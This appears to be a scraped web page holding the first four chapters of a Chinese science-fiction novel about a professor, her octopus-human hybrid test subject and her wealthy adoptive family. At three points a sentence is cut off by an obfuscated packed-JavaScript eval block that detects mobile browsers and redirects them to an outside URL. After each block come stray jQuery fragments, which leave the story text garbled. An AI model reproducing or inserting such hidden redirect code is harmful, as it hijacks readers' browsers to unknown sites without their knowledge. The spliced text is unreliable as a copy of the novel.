《她与怪物》
1. 触手怪物(1)
“如果章鱼可以传承记忆,或许它们会统治世界,那你们不会坐在这里,而是在动物园里。”
清甜的女音在偌大的阶梯教室回响。
她穿着双排羊角扣大衣,狡黠地眨眼,一只手闲适地插在兜里,另一只手按下一个按钮。
一个巨大的章鱼全息投影出现在课桌前的空地上。
因为临近下课而有些骚动的教室刹那间安静了。
同学们屏气盯着眼前这个过于逼真的虚影。
随着教室的湿度上升,全息章鱼影像动了,它摇曳着巨大的身子在教室上空遨游,触手划过的地方带来了一股股让人窒息的黏腻感。
讲台上的女人轻笑,她伸出纤细的手指,把垂在面颊旁稍显碍事的长发别在耳后,露出了亮闪闪的耳钻。
这个季节稍显干燥,她在嘴唇上涂了一层薄薄的唇膏,让原本就粉嫩的唇更加亮晶晶。
这张唇微微张开,“下课。”与此同时,悠扬轻快的下课铃响起。
于是,就在同学们惊讶得微张嘴,抬着头仰望章鱼影像时,影像瞬息无影无踪。
宛若正准备吃一块刚入口的精美蛋糕,还没品味是何许滋味,蛋糕就掉到了脏兮兮的地上。
阶梯教室静得一根针掉地上都能够听见,愣是没有一个人都收拾东西,学生们哀怨地望着讲台上的女人。
她把书本放进挎包里,拎起包,冲同学们摆摆手,明知故问地道:“怎么还不走?刚刚那么吵闹,难道不是急着下课吗?”
教室里的安静被打破,同学们站起,开始收拾东西,到处都是抱怨声以及椅子碰撞地面的声音,吵吵嚷嚷的。
女人拎起包,挑了挑眉,准备离开。
就在她即将踏出教室的时候,响亮的男声叫住了她,“闻教授,我想请问.......”
她转过头,耳钻在光下璀璨夺目。
跑来的男生喘了口气,有些上气不接下气地询问:“请问今年您的实验室还招不招助手?”
她安静地停留在原地,耐心聆听后流露出抱歉的神色,语气委婉,“今年招收名额已满,你可以等待明年的通知或者问问别的实验室。”
她的眼眸是独特的浅灰色,双眼皮褶皱很浅,这双美丽的眼睛眨了眨,温柔但疏离。
男生茫然失措,连声道:“嗯嗯好的,谢谢闻教授。”
他宛若丧家犬般落荒而逃,回到教室后,男生面色涨红,拽着书包把桌上的东西扒拉进去。
旁边的人碰碰他胳膊,“怎么样?”
男生难堪地摇摇头。
“我就说嘛,耳门科技很难进的,若是有招收计划哪轮的到你,就算上学期你在闻教授的课上总分第一,也不可能你随口问问就让你进去......”
说话的男生语气讥讽,又扭头和身后的人窃窃私语起来,“哎,你们看到闻老师耳朵上的那颗耳钻了吗?一看就很昂贵,那一颗就抵普通人大半年工资。”
同伴“啧”地一笑,“你才知道吗?闻老师家里的公司就是你刚才说的耳门科技。不过嘛,有传闻说她并非亲生,但是不是亲生又如何,在那样的家里,吃喝不愁,哪像我们要苦苦找工作。”
方才说话的人恍然大悟,“怪不得闻老师的课题那么小众还能在耳门科技有间实验室。”
话语间,终端震动,他的目光被弹出的新闻吸引,看了后面色沉凝,转移话题,“X区最近不太平啊,这场仗要打到什么时候.......”
闻央一路和遇见的同事学生点头示意,面上带着淡淡的微笑。
直到进入停车场的悬浮车后,她才敛去一脸笑意。
就像褪去面具,分明五官还是一样,气质却截然不同,闻央把靠椅微后仰,整个人缩在座椅里,没有表情的她像是一个漂亮的洋娃娃,美则毫无生气。
她眼下有着淡淡的黑眼圈,整个人略显疲态,捏了捏鼻骨后,本打算闭目养神一会,没想到直接睡着了。
过了许久,终端传来两声震动,她闭着眼伸手摸了摸,打了个哈欠后,才半眯着眼查看。
【今天晚上回家吃饭。——姐姐】
【闻教授,实验成功了。】
两条消息一前一后。
闻央快速地对上条短讯回复了一个“好的”,并打开下一条短讯附带的视频。
抖动的视频里是熟悉的场景,拍摄者一路小跑,最后停在巨大的玻璃前,声音急切高昂,“实验成功了,实验体7092目前完全没有基因崩溃的现象,是完美的异种。”
她的手一直在颤抖,眼前的画面十分模糊,什么都看不清,背景音嘈杂,整个实验室乱作一团。
闻央关掉终端,调整座椅,拉动手柄朝外开去。
所幸因为方才的小憩,空中已然没什么车了。
一路畅通无阻,她停在了公司地下室。
走进电梯后,她按下负五十八层。
电梯门打开,名叫伊芙的助手捧着资料守在门口,见到闻央,她眼睛瞬间亮起,“闻教授。”
闻央脱掉外套,拿起挂在消毒柜里的白大褂,一边穿一边走。
她们通过长长的隧道,伊芙翻着手上的实验记录本:“实验体7092今日体温20.2摄氏度,培养皿内液体温度20摄氏度,一分钟内,呼吸频率38-49次,心率约40次.......”
来到走廊尽头,经过瞳孔识别后,厚重的门打开了,眼前是一片开阔洁白的空间。
她们距离地面很远,只能看见行色匆匆的实验人员的头顶,无数实验水箱悬挂在高空,里面的生物清一色是章鱼。
关在实验水箱的章鱼被两人的动静惊扰,有的用触手拍打着水箱,有的朝着她们喷水,更多的是在沉眠,只是它们的举动对外界没有造成任何影响,一切声音都被很好地密封在了自带水循环的生命维持箱内。
闻央和伊芙乘着全景梯舱来到地面。
她们一路往前,直到停在某个巨大的玻璃培养皿前。
在这个高达五米的培养皿内,一个闭目蹙眉的青年无力地漂浮在水中。
他鼻骨挺立,肤色是不见天日的苍白,一头银色的短发在营养液里四处散开,若是忽略下半身的话,整个人静得宛若一座美神雕塑。
但顺着刚劲有力的腹部肌肉往下看去,八条柔软硕大的粉色触手在液体里不断地蠕动延伸,上面是两排整齐的吸盘。
这个场景美而惊悚,让人不寒而栗。
伊芙抱着资料,仰头望着,纵使已经看过,仍发出感叹:“真是奇迹。”
闻央低下头,用牙尖咬着皮筋,一只手抓着长发,松开牙齿,另只手拿过皮筋,指尖灵活翻转,一个高马尾完成了。
“把7092之前的数据拿给我。”
女人清亮的声音响起,伊芙猛地把视线从实验体上收回来,手忙脚乱地抱着实验本去工位翻找资料。
闻央仰头站在玻璃罩前等待伊芙,身后是刺眼的白炽光,她可以透过玻璃的反光看到模糊的自己。
玻璃后倒映出来透明的虚像仿佛站在水中,身后是庞大交缠的触手,它们离得那么近,近乎融为一体,却始终无法触碰,穿着白大褂的女子轻轻抬起手,水中的女子也抬起手。
蓦然间,胸腔传来犹如雷鸣般响亮的心跳声,开始只是轻轻一声。
“砰。”
然后。
“砰、砰。”
“砰、砰、砰。”
心脏越跳越快,似是要迫不及待地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880980|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跳出来,激烈的碰撞声从胸腔内部一路上升至耳内,耳膜随之震颤,血液仿佛在逆流,闻央的眼睛发黑,她死死按住心脏,那道愈加清晰响亮的声音几乎要把自己吞没。
伊芙正低头看着怀中的资料,走了几步后抬头发现闻央的异样后,她把文件往地上一扔,连忙跑来扶她。
兀突剧烈的心跳如来时般突然平复了。
闻央踉跄一步,大口大口地呼吸。
“闻教授,你没事吧?是不是低血糖了?”伊芙目露担忧,稳稳地搀着她,无意间瞥了眼培养皿里的实验体。
她的身体骤然僵住,瞳孔瞬间放大,扶着闻央的手微微抓紧,声音发颤:“闻教授,实验体7092睁眼了......”
闻央蓦地抬起头。
培养皿内的青年睁开了空洞的眸,上面像是蒙上一层灰霭,看不见任何情绪,唯有死寂,那双灰蒙蒙的蓝眸没有焦点,但方向直直地朝着闻央。
反倒是他身下的触手异常活跃,它们挤压着彼此,争先恐后地黏在玻璃上,压得两排软肉般的吸盘边缘微微变形。
“抓住她抓住她抓住她。”
“好饿好饿好饿好饿好饿。”
“不舒服不舒服不舒服不舒服。”
虚妄的谵言充斥在青年的大脑内,鼻腔耳朵宛若被无形的东西堵住,眼睛像是被一块厚重的黑布蒙住,只能隐约看见光晕。
他努力地朝光源望去,脑海中更多的是无意义的呓语,它们宛如高速运转的机器一刻不停地搅着大脑。
光晕越来越亮,声音愈加嘈杂,下一秒,光猛然熄灭。
无尽的黑暗,无尽的混沌。
他不甘心地闭上眼,握成拳头的手渐渐松开,那些狂暴蠕动的触手也贴着玻璃慢慢滑落。
同一时刻,高昂刺耳的警报声响起,培养皿上方的指示灯疯狂闪烁,变得通红。
“警告:实验体7092生命体征正在急速下降,据实时监测数据表明其状态已接近生理崩溃临界点:触腕活动反应迟缓,血氧和心率等显著下降,请立即启动紧急干预。”
反应过来的两人飞快地交换眼神,奔向培养皿下的操作屏,闻央快速浏览各项数值。
“打开增氧装置和微型循环泵。”
伊芙双腿发软,靠手肘支撑才没有倒下,听到闻央清晰明确的指令,像是找到主心骨般,甚至来不及呼吸,手已经跟着命令操作起来了。
待调配好数值,成功打开后,伊芙擦了擦额头冒出的微汗,看向闻央。
她垂着头,露出一截修长优美的脖颈,一缕灰发恰到好处地落在白嫩的面颊旁,手指灵敏而老练地在操作屏上跳跃。
她纤长的睫毛在眼下投下一块小小的阴影,纵使出现如此意外也波澜不惊。
这样的沉稳会让人忽略她的过于年轻的脸庞。
不过几个呼吸,警报器停止了声响,疯狂闪动的红灯变成安全平和的绿色。
伊芙松口气,惊魂未定地拍了拍胸口。
危机解除,她捡起刚刚丢下的资料,放到桌上,见闻央沉浸地盯着显示屏上的数据,她轻声说,“闻教授,这是您要的资料。”
闻央“嗯”了一声,没再说话。
伊芙抬头看到高空中垂挂着的诸多实验水箱。
上个月总部把实验项目的经费砍半,原本以为这项实验即将夭折,没想到居然成功了。
只是眼下仅剩的经费不足以撑起其余数多实验体。
见闻央的视线不再看着显示屏,伊芙开口问:“闻教授,其他的实验体怎么处理?”
闻央走到培养皿前,垂眼望着里面一动不动的粉色触腕,听到伊芙的问题,头也不抬,语气带着些漫不经心,“全部销毁掉吧。”
2. 触手怪物(2)
离开实验室时,接近黄昏。
人工太阳模拟着自然界的东升西降,一半已降至地平线下方,明亮的光线通过城市保护罩后显得更加柔和。
它下降的速度很快,金光逐渐隐没,路灯亮起,同一时刻,缠绕在大厦上的灯带打开,整个城市灯火通明。
但出于资源短缺,政府没有财力支撑人工月亮的运行,夜间朝上空看去,只能看到保护罩反射出来的淡淡光晕,若是不仔细看,宛若覆着一层薄纱般的星光,某种程度上也算弥补了月亮的存在。
闻央打开悬浮车上的收音,立体环绕音让播音员的声音仿佛就在耳边:“据前线传来的最新战报,X区防线岌岌可危,保护罩即将崩溃,特战小队已启动。此刻,我们呼吁滞留在X区的居民立即前往安全区。”
“我们与你同在,长夜将尽,曙光必临!”
他口齿清晰,说得铿锵有力,饱含激情,不像是在报道新闻,而是在进行一场感情充沛的演讲。
闻央稍抬眉梢,倒不认为播音员的那句“我们与你同在”有几分真心。
离开密密麻麻如蜂巢般的大楼,悬浮车驶进空阔宛若森林般的“城市中心”。
顾名思义,“城市中心”在A区的中心,是核心地段,住在此处的非富即贵。
这里安保严格,无数被称为“城市之眼”的小型飞行器兢兢业业地围绕在四周,锐利地扫射着,以防违规者闯入。
经过城市之眼确认身份后,她顺利地开了进去。
闻家处于中心区域的边缘地带,闻央打开车窗,同外面净化的空气不同,这里植被茂盛,负氧离子浓度高,呼吸之间都带着草木的清香。
闻家的别墅坐落于半山腰,往上可以看到更多藏匿于树木里建造精美的豪宅,朝下可以看见远处城市的高楼。
闻央下车后,悬浮车被等候在旁的管家开到地下停车场。
在家用机器人泛滥的今天,闻家仍采用旧日聘请人类保姆的习惯。
年轻的女佣打开门,笑容甜美,“小小姐回来了?小少爷已经在会客厅里,其他人还在路上。”
闻央微笑点头,把大衣递给她。
女佣继续说着:“会客厅已经准备好了热茶和果切,如果小小姐还有什么需要,请告诉我。”
“好的。”
闻央经过长走廊,来到会客厅。
她刚碰到把手,门就自动开了。
一只毛茸茸的小熊猫挂在铜黄色的把手上,它一只爪子在空中挥舞,身子晃来晃去,嘴里发出机械童音:“诶呀糟糕啦,好高好高呀,我不敢跳下去了。”
闻央伸手解救了它。
小熊猫只有巴掌大,身材圆润,穿着符合身材的镶金黑色西装,胸口系着一个宝蓝色的领结。
两只葡萄般大小的眼珠咕噜噜地转着,两个黑眼圈让它看上去憨态可掬。
落到地上后,它绅士地鞠躬道谢:“多谢这位美丽的人类小姐。”
说完,它一溜烟地跑了,四爪并用,跑到了沙发边男人的军靴旁,前爪借力,翻身滚落到他的腿上。
闻央坐到了男人对面的天鹅绒沙发上。
“二哥。”她生疏而礼貌地喊。
男人用手指逗弄着攀爬到胳膊上的小熊猫,点点头表示听到,目光专注,并未看她。
闻央已经几年没看见他了。
昔日的少年已经出落成了一个男人,那一身脾气似乎在军营的拉练下磨平了。
他的个头看上去高了不少,宽肩阔腿,眉形锋利,短寸头,穿着脏兮兮的迷彩裤,看上去像是刚从战场回来。
没人说话,闻央拿出终端看起来。
不知过了多久,男人含糊不清的声音突然响起,低沉中带着困倦的微哑。
“安安,几点了?”
“啊?”闻央望过去,面上茫然。
他的声音太轻了,尤其前面“安安”两字咬字极其模糊,乍一听,闻央还以为闻松凌在叫她。
“央央”,这是十八岁前他对她的称呼,自此以后,她再也没听到过。
闻松凌顺着声音看过去。
这是他们今日的第一次对视。
闻央的皮肤太过雪白,以至于一眼就能注意到鼻尖上的几颗淡褐色雀斑,她的眼睛不是华夏血脉纯正的黑色,而是像笼罩着一层雾的浅灰色。
这双又大又圆的眼总让人下意识把她的年纪猜测的比实际小几岁。
她长发及腰,或许是嫌头发碍事,都别到了耳后,露出耳垂上的耳钻,它切面细腻,被室内暖光一照,折射出璀璨的光。
闻松凌知道,被耳钻挡住的地方,有一颗小痣。
他第一次见到闻央就注意到了。
闻央刚来闻家的时候是个脾性奇怪的小孩,穿着大到拖地的白大褂,手里死死地抓着一个小熊猫。
她皮肤白得像纸,漂亮得宛若一个洋娃娃,但肉眼可见并非是闻家的孩子。
因为不同于闻家血脉纯正的华夏式黑瞳黑发,闻央那双异域风味的灰瞳和漂亮的浅灰色头发十分显眼。
甚至她耳朵上的小痣都是浅灰色。
父母对这个即将养到名下的小孩并不关心,简单叮嘱佣人几句就去书房了。
而大哥闻澜冬和姐姐闻岚溪与这个突然冒出的小孩岁数相差过大,他们忙于学业,连家都不常回,更不会在闻央身上放多少关注。
要说对她最感兴趣的,莫过于闻松凌了。
他们年龄相仿,闻松凌正处于惹人生厌的熊孩子时期,每天在家像是一匹脱缰的野马,不是从东边跑到西边,就是从西边跑到东边。
他精力旺盛,鬼点子又多,只有哥哥姐姐才能管住他,偏生他们都不常回家,照顾他的阿姨每日跟在他后面跑,苦不堪言。
闻松凌好奇地打量着闻央,绕着她转,嘴里的话滔滔不绝,“你是谁呀?”“你叫什么名字?”“你多大呀?”“你的眼睛和头发怎么是这个颜色?”......
但眼前这个小女孩一言不发,她看了看闻松凌,低下头,手指紧紧地陷入小熊猫玩具的柔软的腹部。
他跑去问爸爸妈妈,得到他们敷衍的回复,大致意思是让他别管那么多,照顾好新来的妹妹就行。
原来是妹妹,闻松凌瞪大眼睛。
要知道,他有多羡慕那些有弟弟妹妹的朋友,据他们说,弟弟妹妹就是跟屁虫,像是条小尾巴似的,特别崇拜哥哥姐姐,觉得他们是天底下最厉害的人。
就连他们随口说的一句话,弟弟妹妹都能当成金科玉律,像是念经一样地在家里重复,烦不胜烦。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880981|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
朋友们看似在埋怨,实则是炫耀,听得闻松凌很不是滋味,羡慕又嫉妒。
他看向一旁低着脑袋不说话的女孩,心中升起一股诡异的豪情,自己是家里最小的孩子,不被大人重视,现在家里来了个更小的孩子,他终于也有了一个指哪打哪的小跟班了。
虽然妹妹性格内向了点,但是没关系,等他们熟悉就好了。
这是他的妹妹!
.......
“五点五十九。”
脆生生的女音传入耳畔,闻松凌的思绪被拉了回来。
见他许久不说话,闻央瞥了眼终端上的时间,给出了答案。
闻松凌蓦地起身。
他手臂上的肌肉线条明显,整个人像是一个动作敏捷的猎豹,随意地拉了拉起皱的衣服后,把手上的小熊猫放到了沙发上。
“安安。”
这一次闻松凌口齿清晰地念道,小熊猫听到指令,连忙从沙发上站起,行了一个军礼,“老大,现在是十七点五十九分五十八秒。”
话音刚落,沉闷的钟声从耳后传来。
“咚。咚。咚......”
仿古落地钟一共响了六声,顶部的木门打开,一只机械布谷鸟被弹了出来,它扯着嗓子短促有力地道:“十八点整。”
闻松凌长腿一跨,捞起沙发上的小熊猫,精准地扔到闻央旁边的软垫上。
“送你了。”
他踩着黑靴离开。
小熊猫捂着屁股,“诶呦诶呦”地叫唤,它爬了起来,闻央竟从这张毛茸茸的脸上看出几分谄媚。
“这位美丽的人类小姐,是我老大的妹妹吧,不对不对,您是我的新老大,新主人!”
它拍了拍屁股上不存在的灰尘,想要跳到闻央身上,她起身,小熊猫落空了。
小熊猫捧着脸卖萌,试图引起这个人类女性的怜惜,讨好地道:“主人主人,你不要我了吗?”
闻央沉默,她确实不想要一个来历不明的机器人。
小熊猫沮丧地低头,“如果没有人要熊熊,就会被送回流水线,没有用处的机器人会被销毁的。”
它泄气地看着沙发毯,像是要在上面盯出一个洞来,圆圆的兽瞳里浸满泪水,这是人工合成液体,模拟着泪腺分泌,具有高度的润滑性,不会对机械表面造成损伤。
“好伤心好难过,没有人要熊熊,熊熊要被销毁了。”
一只白皙好看的手伸到小熊猫面前,在它绵绵的肚皮上摸索了半天,小熊猫任凭她摸着,抬起眼,期待地问:“主人主人,我的肚皮是不是很好捏…”
“啪”。世界清净了。
闻央找到了控制开关,并按下按钮关闭了喋喋不休的小熊猫。
她松口气,有些玩味地翻转小熊猫,最后掀开头顶的绒毛,找到了一块指甲盖大小的金属板。
金属板上面刻着凹陷的文字:耳门科技SMP-A23802。
闻央摩挲着冰冷的刻痕,这是公司最新产品的样品,还是核心的A系列。
“叩叩叩。”
规律的敲门声响起,打断了她的思绪。
女佣轻轻敲了敲半开的门,声音轻柔:“小小姐,可以去主餐厅了。”
“好。”闻央把小熊猫揣进了兜里。
3. 触手怪物(3)
光透过水晶灯上的烛状装饰物,在洁白丝绸制的桌布上映下黑色的烛影。
金属灯链被净化空气的出风口吹得微微晃动,连带倒映在桌布上的影子也跟着摇曳。
长长的餐桌旁边是一大块通透的落地窗,透过窗户可以看到远处灯火辉煌的城市,其中最高楼上嵌着一块极为醒目的霓虹广告牌。
它正在投放广告。
五彩缤纷的粗体字在这块巨大的黑色LED屏幕上滚动闪烁:耳门科技,聆听生命之声,开启未来之门。
耀眼得能让每个A区居民都记住这句广告词。
同样地,BCDE等区的街头巷口也布满耳门科技充满霓虹色的广告标语。
闻央慢悠悠地切开盘子里热气腾腾的牛排。
闻松凌坐在她的对面,右手边是姐姐闻岚溪,闻岚溪对面是大哥闻澜冬,主座坐的则是父亲。
大厅鸦雀无声,只能听到金属刀叉切开食物的滋滋声,以及与瓷器细微的碰撞声。
这些摆在桌上的食物不是出自机器人手中,而是由人类炒制而成,同那些千篇一律的预制菜不同,这里每一道菜的口味都有细微的变化。
深褐色的牛排看上去鲜嫩多汁,闻央用叉子叉起一块,咬入嘴果然是一口饱满的汁水。
父亲做出慈爱的姿态,看向许久未见的小儿子闻松凌,开口道:“松凌,舟车劳顿,路上辛苦了,X区目前的战况如何?”
闻央也随之看去。
对面的男人眼瞳幽深,目光掠过她时不着痕迹地停顿了一下,随后他面朝父亲,语气吊儿郎当:“不怎么样。”
“闻松凌,你什么态度!”
父亲的火气一下子就上来了,直拍餐桌,具有压迫感的声音在空旷的餐厅回响。
桌子的震颤让闻央手中的叉子一抖,叉子上的肉掉回了盘子里,她悄悄地叹口气,放下餐具,坐得端正,垂眼不语。
闻松凌的笑容未变,漫不经心地举起手中的酒杯,晃了晃里面的酒,眼底却不见半分笑意,“如果战况好,我们这种硬被塞进军队的人也不会被立马赶回来。父亲不是心知肚明吗?这种事何必要我废话。”
“一定要我说得明明白白吗?那些被前区瞧不起的异种正前仆后继地挡在前线……“他继续道,拉长语调,”这种情况下,X区已经糟糕到没有多余的人手来保护我们的安危,自然把我们送回来了。”
闻松凌满不在乎地自嘲道。
刀划过盘子,发出一道尖锐刺耳的声音。
父亲的目光沉沉,把手中的银刀狠狠地摔到桌上。
闻松凌恍然未闻,整个人宛若没骨头般瘫坐在椅子上,好心情地用叉子叉了一块食物,毫无礼仪地送到嘴里,大口地嚼着。
闻央若有所思地敛眼,拿起叉子戳盘子里的菜。
他口中的前区是A-E区,里面的居民几乎是纯人类,字母越靠前异种越少,尤其A区直接严禁异种进入。
而异种则是融合了动植物基因的人类,最开始被称为“融生者”,但因为两者基因不相容,他们在基因崩溃下随时随地会发疯,因此被称为异种。
见桌上气氛凝固,闻岚溪狠狠地瞪了一眼闻松凌,笑着看向父亲,扯开话题:“父亲,昨日我同沈议员的小儿子吃了顿饭。”
她今日打扮得很正式,像是刚从某个宴会结束后匆匆赶来,穿着还没来得及换掉的低调华丽的晚礼服,一头精心设计的卷发披在锁骨上,丰满的嘴唇涂着明媚的红色。
父亲遏制住怒气,不再看闻松凌,抿了一口桌上的红酒,和蔼地道:“怎么样?”
闻岚溪捏着红酒杯,眉头微皱,似是在斟酌言辞。
“他和他父亲倒是不太像,”她举起酒杯,和父亲碰了一下,耸肩,“比较单纯。”
她喝了一口酒,放下酒杯后,用指腹慢慢地抹去杯口的口红痕迹,轻轻地摇了摇头。
父亲沉默了会,“先接触着吧,目前也没有更好的人选。”
闻岚溪点点头。
闻央咬住一块西蓝花,根据两人的谈话在大脑里寻找着关于沈议员的记忆。
她向来不爱关注这些弯弯绕绕的东西。
A区那些西装革履的议员们每日在会议上义正词严或情绪高昂地发言,看似在为全人类争取利益,实则在为各自派系牟利。
没有意思,着实不如她的实验体们。
很快,一个头发花白神采奕奕的老人身影在大脑里浮现出来。
闻央想起来了。
原来是他,前几年因为耳门科技和闻家走得很近,经常活跃在各种会议上。
最近没怎么看到过他,闻央算了算他的岁数,快要退休了。
难怪父亲让姐姐这么着急去接触,恐怕是想和沈家联姻。
机器人市场利润高昂,竞争激烈,而耳门科技在机器人市场上的市场占有率大概是百分之六十五,份量不少,所以闻家并不缺钱,但是没有权。
如果闻家想要话语权以及更大规模的市场,就不能止步于此,因此这些年闻岚溪流转于各个政治宴会,到处交际打点。
闻央咀嚼着西蓝花,脑中无数念头闪过,最后深感无聊,飘回实验室里。
这几日要勤跑实验室,实验体7092还有很多研究工作要做......
父亲的声音陡然响起,打断了她的思绪,他打趣道:“闻央,前几日范伯伯可是把你好一顿夸,说你现在是诺瓦联邦大学的明星教授,好多学生都抢着要上你的课。”
闻央恰到好处地露出腼腆的笑,两个酒窝出现在面颊上,显得可爱乖巧,“没那么夸张,可能是我的课程比较轻松吧,所以学生们愿意来上。”
“你现在倒是和小时候完全不一样了,”父亲感慨道,看着她温静的样子很满意,又问,“最近四号实验有什么进展吗?”
“有一个实验体成功了,相关内容已经发送至总部,至于结果如何,还需进一步研究。”她揣摩着父亲的意思,谨慎地回答。
父亲眉头微拧,“这项研究委实太久了,拖了几十年,你父母......”
他的声音停下,似是觉得不妥,转口,“我看还是尽早结束吧。”
说完,他眉眼沉沉,手指不耐烦地在桌上敲打,思考了一会,看向闻澜冬,“澜冬,过些天给你妹妹换个岗位吧。”
“具体什么岗位你自己看着办,好好一小姑娘,不要天天泡在实验室里研究异种,毕竟也是你妹妹,安排个好看点的职位。”
父亲的话意有所指,闻澜冬心领神会地点了点头。
随后父亲看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880982|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着闻央,语气舒缓,“闻央,你还记得范丁友吗?范伯伯家的儿子,小时候总来家里找松陵一起玩的。你们许久没联系了,有空一起吃个饭吧。”
还未回答,她听到一阵刺耳的声音。
“哧啦——”,闻松凌猛地站起,背后的椅子腿摩擦着光滑的瓷砖,惹出能让人浑身起鸡皮疙瘩的声音,惊得闻央一时没拿稳酒杯。
他不拿桌上摆放好的擦嘴巾,偏偏一把抽出餐具底下的垫布,又震得碗筷刀叉噼里啪啦地响。
视线汇聚在闻松凌身上,他用垫布慢条斯理地擦了擦嘴,看向众人,似是很惊讶:“怎么了?我吃好了。”
说完,他面色淡然地离开餐桌。
父亲气得捂着胸口,恨恨地低骂:“这个逆子,还以为军营能让他成熟点,现在这个臭脾气真是越来越大了。”
闻央手中的葡萄酒打翻在洁白的桌布上,连带着打湿她的手,酒红色的酒一滴一滴地顺着指尖落到洁白的瓷砖上。
她露出抱歉的神色,站了起来:“不好意思,我去下洗手间。”
水流被开到最大,头顶亮如白昼的光反射在金属水龙头上,刺到了闻央的眼睛,她稍朝旁撇头,然后顺着水冲掉指缝间的红酒,直到十根手指都干干净净,才拿起手边的布擦干。
她走出洗手间后,一股海盐薄荷的味道扑面而来。
清新中又带着点酸涩,她不喜欢这个味道。
闻松凌靠在不远处的墙上,指尖掐着一点火光,味道正是源自他手上的电子烟,海盐薄荷的味道弥漫在整个走廊,很快又被新风系统净化。
他低垂着头,看不清脸上的神色,一副心情不太好的样子。
闻央不打算触他的霉头,决定目不斜视地走过去。
就在她快要离开闻时,轻哑的男声叫住了她,“闻央。”
她扭头,疑惑地看过去。
闻央顺着他的目光看向自己袖子上那几滴红色的葡萄酒渍上。
“抱歉。”他的声音轻飘飘的。
很不诚心的道歉。
闻央从小情绪波动就不大,很难感受到人的喜怒哀乐。小时候整个人木木的,看上去呆愣愣,现在长大倒是变了许多,不少人夸她和小时候比起来活泼灵动多了。
不过纵使长大好些了,但比起普通人,闻央相对理性,不是情感泛滥的人。
她知道,如果要想扮演一个好妹妹,这时候就应该乖乖地说:“没关系的,二哥。”
但难得的,她不太想理他。
“你喜欢范丁友吗?”
闻松凌的声音响起。
他吐了一口烟雾抬起头,把闷在心里的话问出了口,眼神锐利得像是想从她面上找出点什么,但什么都没找到。
闻央有些纳闷,“这和你有什么关系吗?”
男人的脸被阴影遮住,他抬起手又吸了一口烟,表情淡漠,“我只是觉得他不是合适的结婚对象。”
“那你应该和父亲说,而不是和我说。”
闻松凌挑眉,“父亲要结束你手上的实验,你真打算停止吗?”
“你到底想说什么?”她有些不耐烦。
闻松凌不再靠着墙,整个人站直,把手中的电子烟灭了,狭长的眼睛眯起,轻笑道:“我想和你做一个交易。”
4. 触手怪物(4)
清晨的实验室里空无一人,只有刺鼻的消毒水味。
在熬夜的科研人员还深陷梦乡时,实验室的门打开了。
闻央披着白大褂走进来。
自那天短暂地睁眼后,实验体7092再无动静。
闻央看一眼培养皿,他安静地闭眼,漂浮在营养液里,触手不再狰狞蠕动,放松地垂在水中。
她摸了摸胸口,那日心脏的强烈跳动转瞬即逝,若不是伊芙在现场能够作证,她会认为那是自己的错觉。
闻央收回视线,向资料室走去。
资料室里堆放着几叠半人高纸箱,这是前几日她嘱咐人员收拾的,所有关于7092实验体的机密文件都被归纳到了这些纸箱里。
闻央的专业是古地球海洋生物学,专攻章鱼。
手中的这项四号实验已经长达五六十年,历经两代人,最初的研究者是她的亲生父母。
她的父母都是狂热的章鱼爱好者,他们坚信章鱼是物种的最完美形态,甚至早在人类出现之前,章鱼就已经称霸地球,摸到宇宙法则的边缘了。
他们用残缺的章鱼基因碎片,日复一日地进行生物实验,直至死亡。
她走到最里面的纸箱,弯下腰,撕开箱子上的白色封条,微小的尘粒悬浮在白炽灯的光线下。
闻央拿出最上面的实验计划,这是亲生母亲撰写的初始计划书。
纸张在岁月的流逝中泛黄老化,连带着上面的黑色笔迹都已经褪色发白。
如青葱般的手指慢慢地抚过娟秀的字迹,片刻后闻央把文件放回原处,压平,最后盖上纸箱。
她关上了实验室的门,来到了培养皿前。
先前实验体的状态还不稳定,所以未对其抽血。
但如今,闻央盯了会屏幕上波动正常的各项数值,从柜子里拿出辅助潜水服,又从抽屉里拿了一副白色硅胶手套和一次性针筒。
穿戴好设备后她打开培养皿的盖子,一头扎进营养液里,“哗”一声后,平静的水面泛起阵阵波澜。
四周仪器的嗡嗡声、出风口的簌簌声......所有声音都在她进入的那一瞬消失了。
世界宁静得宛若初生,透过护目镜,闻央的眼中只剩下底下那团黑影。
她拨开水,朝下方游去,营养液比水稍黏稠些,但不厚重,游起来不碍事。
一条条银色的铁链如水蛇从底部探出,紧紧地扣在实验体的手腕和触手上,这是她在进来前开启的安全装置,以防他在抽血途中突然醒来。
指尖触碰到实验体削瘦的肩膀,闻央轻点一下,借力浮到他的面前。
她静静地观察他。
“温顺”,这是她近距离看到那张迤逦面容时的脑子里冒出的第一个词。
